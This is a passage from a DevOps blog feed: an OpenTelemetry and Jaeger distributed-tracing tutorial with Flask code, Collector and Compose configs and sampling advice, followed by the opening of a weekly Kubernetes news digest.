        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Install the OpenTelemetry SDK and auto-instrumentation for your framework.</li>
<li>Set <code>OTEL_EXPORTER_OTLP_ENDPOINT</code> to point at a Collector.</li>
<li>Run the Collector with an OTLP receiver and a Jaeger or Tempo exporter.</li>
<li>Open Jaeger, find the trace, and read the timeline. The fat span is the problem.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Python 3.10+ or Node.js 18+ (the examples use Python with Flask, the concepts translate)</li>
<li>Docker and Docker Compose</li>
<li>A basic microservice you can poke at, or follow along with the demo below</li>
<li>Port 4317 (OTLP gRPC), 4318 (OTLP HTTP), and 16686 (Jaeger UI) free locally</li>
</ul>
<h2 id="h2-what-a-trace-actually-is" class="group relative scroll-mt-24">
        <a href="#h2-what-a-trace-actually-is" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What a Trace Actually Is
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-a-trace-actually-is"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A <strong>trace</strong> is a tree of <strong>spans</strong>. A span is one unit of work with a start time, duration, attributes, and a parent. Every span in a trace shares a trace ID. The root span is the first thing that received the request. Every child span sits underneath it.</p>
<pre><code class="hljs language-text">Trace abc123 (4.2s)
├── gateway: POST /checkout         [4.2s]
│   ├── auth: validate-token        [12ms]
│   └── orders: create-order        [4.1s]   &lt;-- where the time went
│       ├── db: INSERT orders       [8ms]
│       └── payments: charge-card   [4.0s]   &lt;-- and here
│           └── http: stripe API    [3.9s]   &lt;-- the real culprit
</code></pre><p>That right column is what you need. Logs cannot tell you that 3.9 seconds of a 4.2-second request was waiting on the Stripe API. A trace can.</p>
<h2 id="h2-step-1-instrument-a-python-service" class="group relative scroll-mt-24">
        <a href="#h2-step-1-instrument-a-python-service" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: Instrument a Python Service
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-1-instrument-a-python-service"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Start with a Flask service that calls a downstream service. Install the SDK plus the auto-instrumentations:</p>
<pre><code class="hljs language-bash">pip install opentelemetry-distro \
            opentelemetry-exporter-otlp \
            opentelemetry-instrumentation-flask \
            opentelemetry-instrumentation-requests

opentelemetry-bootstrap -a install
</code></pre><p>The <code>opentelemetry-bootstrap</code> command scans your installed packages and pulls in matching instrumentations. If you have <code>psycopg2</code> or <code>redis-py</code> installed, it installs those instrumentations too.</p>
<p>Here is the service. It is deliberately small so you can see what is going on:</p>
<pre><code class="hljs language-python"><span class="hljs-comment"># app.py</span>
<span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, jsonify
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> opentelemetry <span class="hljs-keyword">import</span> trace

app = Flask(__name__)
tracer = trace.get_tracer(__name__)

<span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&quot;/checkout&quot;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">checkout</span>():
    <span class="hljs-keyword">with</span> tracer.start_as_current_span(<span class="hljs-string">&quot;validate-cart&quot;</span>) <span class="hljs-keyword">as</span> span:
        span.set_attribute(<span class="hljs-string">&quot;cart.items&quot;</span>, <span class="hljs-number">3</span>)
        <span class="hljs-comment"># pretend work</span>
        total = <span class="hljs-number">42.00</span>

    <span class="hljs-keyword">with</span> tracer.start_as_current_span(<span class="hljs-string">&quot;charge&quot;</span>):
        r = requests.post(
            <span class="hljs-string">&quot;http://payments:8000/charge&quot;</span>,
            json={<span class="hljs-string">&quot;amount&quot;</span>: total},
            timeout=<span class="hljs-number">5</span>,
        )
        r.raise_for_status()

    <span class="hljs-keyword">return</span> jsonify(status=<span class="hljs-string">&quot;ok&quot;</span>, total=total)
</code></pre><p>You did not write any tracer setup. Flask and the <code>requests</code> library are auto-instrumented, so the HTTP entry point and the outbound HTTP call already create spans. The two manual spans add business context (<code>validate-cart</code>, <code>charge</code>) so the timeline reads in your language, not the framework&#39;s.</p>
<p>Run it with the OpenTelemetry wrapper:</p>
<pre><code class="hljs language-bash"><span class="hljs-built_in">export</span> OTEL_SERVICE_NAME=checkout-service
<span class="hljs-built_in">export</span> OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317
<span class="hljs-built_in">export</span> OTEL_TRACES_EXPORTER=otlp

opentelemetry-instrument flask run --port 8000
</code></pre><p><code>OTEL_SERVICE_NAME</code> is the one variable people forget. Without it, every service shows up as <code>unknown_service</code> in Jaeger and your traces look like spaghetti.</p>
<h2 id="h2-step-2-run-the-opentelemetry-collector" class="group relative scroll-mt-24">
        <a href="#h2-step-2-run-the-opentelemetry-collector" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: Run the OpenTelemetry Collector
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-2-run-the-opentelemetry-collector"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You could send traces directly from the app to Jaeger. Do not do that in any environment you care about. The Collector sits between your apps and your backend and gives you:</p>
<ul>
<li>A single place to swap backends without redeploying apps</li>
<li>Batching and retry, so a backend outage does not crash your app</li>
<li>Sampling, so you do not pay to store every trace</li>
<li>Attribute filtering, so PII does not leak into your tracing backend</li>
</ul>
<p>Here is a Collector config that accepts OTLP and exports to Jaeger:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># otel-collector-config.yaml</span>
<span class="hljs-attr">receivers:</span>
  <span class="hljs-attr">otlp:</span>
    <span class="hljs-attr">protocols:</span>
      <span class="hljs-attr">grpc:</span>
        <span class="hljs-attr">endpoint:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">:4317</span>
      <span class="hljs-attr">http:</span>
        <span class="hljs-attr">endpoint:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">:4318</span>

<span class="hljs-attr">processors:</span>
  <span class="hljs-attr">batch:</span>
    <span class="hljs-attr">timeout:</span> <span class="hljs-string">1s</span>
    <span class="hljs-attr">send_batch_size:</span> <span class="hljs-number">1024</span>
  <span class="hljs-attr">memory_limiter:</span>
    <span class="hljs-attr">check_interval:</span> <span class="hljs-string">1s</span>
    <span class="hljs-attr">limit_mib:</span> <span class="hljs-number">512</span>

<span class="hljs-attr">exporters:</span>
  <span class="hljs-attr">otlp/jaeger:</span>
    <span class="hljs-attr">endpoint:</span> <span class="hljs-string">jaeger:4317</span>
    <span class="hljs-attr">tls:</span>
      <span class="hljs-attr">insecure:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">debug:</span>
    <span class="hljs-attr">verbosity:</span> <span class="hljs-string">basic</span>

<span class="hljs-attr">service:</span>
  <span class="hljs-attr">pipelines:</span>
    <span class="hljs-attr">traces:</span>
      <span class="hljs-attr">receivers:</span> [<span class="hljs-string">otlp</span>]
      <span class="hljs-attr">processors:</span> [<span class="hljs-string">memory_limiter</span>, <span class="hljs-string">batch</span>]
      <span class="hljs-attr">exporters:</span> [<span class="hljs-string">otlp/jaeger</span>, <span class="hljs-string">debug</span>]
</code></pre><p>The <code>memory_limiter</code> processor matters. Without it, a traffic spike on a slow backend will OOM your Collector and you lose every span in flight.</p>
<h2 id="h2-step-3-a-compose-file-that-ties-it-together" class="group relative scroll-mt-24">
        <a href="#h2-step-3-a-compose-file-that-ties-it-together" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: A Compose File That Ties It Together
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-3-a-compose-file-that-ties-it-together"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-yaml"><span class="hljs-comment"># docker-compose.yml</span>
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">jaeger:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">jaegertracing/all-in-one:1.62</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;16686:16686&quot;</span>   <span class="hljs-comment"># UI</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4317&quot;</span>          <span class="hljs-comment"># OTLP gRPC (internal)</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">COLLECTOR_OTLP_ENABLED=true</span>

  <span class="hljs-attr">otel-collector:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">otel/opentelemetry-collector-contrib:0.113.0</span>
    <span class="hljs-attr">command:</span> [<span class="hljs-string">&quot;--config=/etc/otel-config.yaml&quot;</span>]
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./otel-collector-config.yaml:/etc/otel-config.yaml</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4317:4317&quot;</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4318:4318&quot;</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">jaeger</span>

  <span class="hljs-attr">checkout:</span>
    <span class="hljs-attr">build:</span> <span class="hljs-string">./checkout</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">OTEL_SERVICE_NAME=checkout-service</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4317</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;8000:8000&quot;</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">otel-collector</span>

  <span class="hljs-attr">payments:</span>
    <span class="hljs-attr">build:</span> <span class="hljs-string">./payments</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">OTEL_SERVICE_NAME=payments-service</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4317</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">otel-collector</span>
</code></pre><p>Bring it up and hit the endpoint:</p>
<pre><code class="hljs language-bash">docker compose up -d
curl -X POST http://localhost:8000/checkout
</code></pre><p>In the Collector logs you should see something like:</p>
<pre><code class="hljs language-text">2026-05-11T09:14:22.117Z  info  TracesExporter  {&quot;kind&quot;: &quot;exporter&quot;,
  &quot;data_type&quot;: &quot;traces&quot;, &quot;name&quot;: &quot;otlp/jaeger&quot;, &quot;resource spans&quot;: 1,
  &quot;spans&quot;: 4}
</code></pre><p>Four spans for one request: the Flask entry, the two manual spans (<code>validate-cart</code>, <code>charge</code>), and the outbound <code>requests</code> call. Open <code>http://localhost:16686</code>, pick <code>checkout-service</code>, and the trace is there.</p>
<h2 id="h2-step-4-reading-the-trace" class="group relative scroll-mt-24">
        <a href="#h2-step-4-reading-the-trace" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: Reading the Trace
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-4-reading-the-trace"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the part nobody teaches and it is the only part that matters. A trace view in Jaeger looks like a waterfall. Each row is a span. The bar&#39;s width is duration. The bar&#39;s position is when it started.</p>
<p>When you open a slow trace, look for:</p>
<ol>
<li><strong>The fattest bar that has no children.</strong> That is a leaf operation that took real time. Usually a database query, an HTTP call, or a <code>sleep</code>.</li>
<li><strong>Gaps.</strong> A 200ms span where nothing visible is happening means you have uninstrumented code. Add a manual span there.</li>
<li><strong>Sequential spans that could be parallel.</strong> Three 100ms calls in a row are 300ms. The same three calls in parallel are 100ms.</li>
<li><strong>Spans with a red icon.</strong> That is <code>status_code=ERROR</code>. Click and read the <code>exception.message</code> attribute.</li>
</ol>
<p>If the slow span is an HTTP call, the trace will usually include the downstream service&#39;s spans too, because trace context propagates through HTTP headers. If it does not, you have a propagation problem. Check that both services share the same Collector and that the client side library (here, <code>requests</code>) is auto-instrumented.</p>
<h2 id="h2-sampling-you-cannot-keep-everything" class="group relative scroll-mt-24">
        <a href="#h2-sampling-you-cannot-keep-everything" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sampling: You Cannot Keep Everything
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-sampling-you-cannot-keep-everything"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>At any non-trivial scale, you cannot store every trace. The default is to sample everything in dev and use <strong>tail-based sampling</strong> in prod. Tail-based sampling decides whether to keep a trace after it finishes, so you can keep the slow ones and the error ones and drop the boring ones.</p>
<p>The Collector ships a tail sampling processor:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">processors:</span>
  <span class="hljs-attr">tail_sampling:</span>
    <span class="hljs-attr">decision_wait:</span> <span class="hljs-string">10s</span>
    <span class="hljs-attr">policies:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">errors</span>
        <span class="hljs-attr">type:</span> <span class="hljs-string">status_code</span>
        <span class="hljs-attr">status_code:</span>
          <span class="hljs-attr">status_codes:</span> [<span class="hljs-string">ERROR</span>]
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">slow-requests</span>
        <span class="hljs-attr">type:</span> <span class="hljs-string">latency</span>
        <span class="hljs-attr">latency:</span>
          <span class="hljs-attr">threshold_ms:</span> <span class="hljs-number">1000</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">baseline</span>
        <span class="hljs-attr">type:</span> <span class="hljs-string">probabilistic</span>
        <span class="hljs-attr">probabilistic:</span>
          <span class="hljs-attr">sampling_percentage:</span> <span class="hljs-number">1</span>
</code></pre><p>This keeps every error, every request slower than one second, and a 1% sample of the rest. That gives you enough volume to spot patterns without buying a second house for your observability vendor.</p>
<p>Wire it into the pipeline:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">service:</span>
  <span class="hljs-attr">pipelines:</span>
    <span class="hljs-attr">traces:</span>
      <span class="hljs-attr">receivers:</span> [<span class="hljs-string">otlp</span>]
      <span class="hljs-attr">processors:</span> [<span class="hljs-string">memory_limiter</span>, <span class="hljs-string">tail_sampling</span>, <span class="hljs-string">batch</span>]
      <span class="hljs-attr">exporters:</span> [<span class="hljs-string">otlp/jaeger</span>]
</code></pre><h2 id="h2-things-that-will-bite-you" class="group relative scroll-mt-24">
        <a href="#h2-things-that-will-bite-you" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Things That Will Bite You
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-things-that-will-bite-you"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few real-world snags worth knowing before you hit them in production:</p>
<ul>
<li><strong>Context not propagating across queues.</strong> Kafka, RabbitMQ, and SQS need extra work. The instrumentation libraries inject trace context into message headers, but only if both producer and consumer are instrumented and the broker preserves headers. Old SQS clients silently drop them.</li>
<li><strong>Async code in Python.</strong> If you use <code>asyncio</code> and your spans look detached from their parent, you are probably starting spans outside the active context. Use <code>tracer.start_as_current_span</code> inside the coroutine, not before awaiting it.</li>
<li><strong>Cardinality on attributes.</strong> Do not put a user ID or a full URL with query string as a span attribute. Use the route template (<code>/users/{id}</code>) instead. High-cardinality attributes blow up the backend&#39;s index.</li>
<li><strong>Clock skew between hosts.</strong> If a child span starts before its parent according to timestamps, that is clock drift, not a bug. Run NTP.</li>
</ul>
<h2 id="h2-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Next Steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Now that you have one service traced, here is what to do next, in order:</p>
<ol>
<li><strong>Instrument the next service in the same request path.</strong> Tracing is most useful when more than one service emits spans for the same request. Two is better than one. Five is better than two.</li>
<li><strong>Add manual spans for business logic.</strong> Auto-instrumentation gives you HTTP and DB spans. Add spans named after what the code actually does (<code>apply-discount</code>, <code>reserve-inventory</code>). Those are the names you will search for at 3 AM.</li>
<li><strong>Set up alerts on trace data.</strong> Most backends can alert on <code>p95(duration) &gt; 2s for route=/checkout</code>. That is far more useful than CPU alerts.</li>
<li><strong>Add resource attributes.</strong> <code>deployment.environment</code>, <code>service.version</code>, and <code>k8s.pod.name</code> make traces useful for incident response. Set them via <code>OTEL_RESOURCE_ATTRIBUTES</code>.</li>
<li><strong>Pick a long-term backend.</strong> Jaeger all-in-one is great for local. For production, look at Tempo, Honeycomb, or a managed Jaeger. The Collector config stays the same. You only swap the exporter.</li>
</ol>
<p>The moment you have two services in one trace and you can see exactly where the latency lives, the value of distributed tracing clicks. Before that, it feels like a chore. After that, you will not go back.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 20, 2026]]></title>
      <link>https://devops.anhp.site/news/2026-week-20</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/news/2026-week-20</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by be4n</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-how-to-get-engineering-time-back-from-kubernetes-upgrades" class="group relative scroll-mt-24">
        <a href="#h3-how-to-get-engineering-time-back-from-kubernetes-upgrades" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to get engineering time back from Kubernetes upgrades
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-get-engineering-time-back-from-kubernetes-upgrades"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kubernetes powers your products, but with that power and flexibility comes organizational challenges around managing complexity and maintenance. It can be tough for an organization to keep up with the</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/11/how-to-get-engineering-time-back-from-kubernetes-upgrades/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-breaking-free-a-step-by-step-guide-to-migrating-from-red-hat-openshift-to-suse-rancher-prime" class="group relative scroll-mt-24">
        <a href="#h3-breaking-free-a-step-by-step-guide-to-migrating-from-red-hat-openshift-to-suse-rancher-prime" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Breaking Free: A Step-by-Step Guide to Migrating from Red Hat OpenShift to SUSE Rancher Prime
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-breaking-free-a-step-by-step-guide-to-migrating-from-red-hat-openshift-to-suse-rancher-prime"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The enterprise container market is hitting a turning point. For years, Red Hat OpenShift was the choice for organizations wanting an all-in-one Kubernetes platform. However, the tide has turned as bus</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/breaking-free-a-step-by-step-guide-to-migrating-from-red-hat-openshift-to-suse-rancher-prime/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-moving-volume-group-snapshots-to-ga" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-moving-volume-group-snapshots-to-ga" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Moving Volume Group Snapshots to GA
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-moving-volume-group-snapshots-to-ga"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
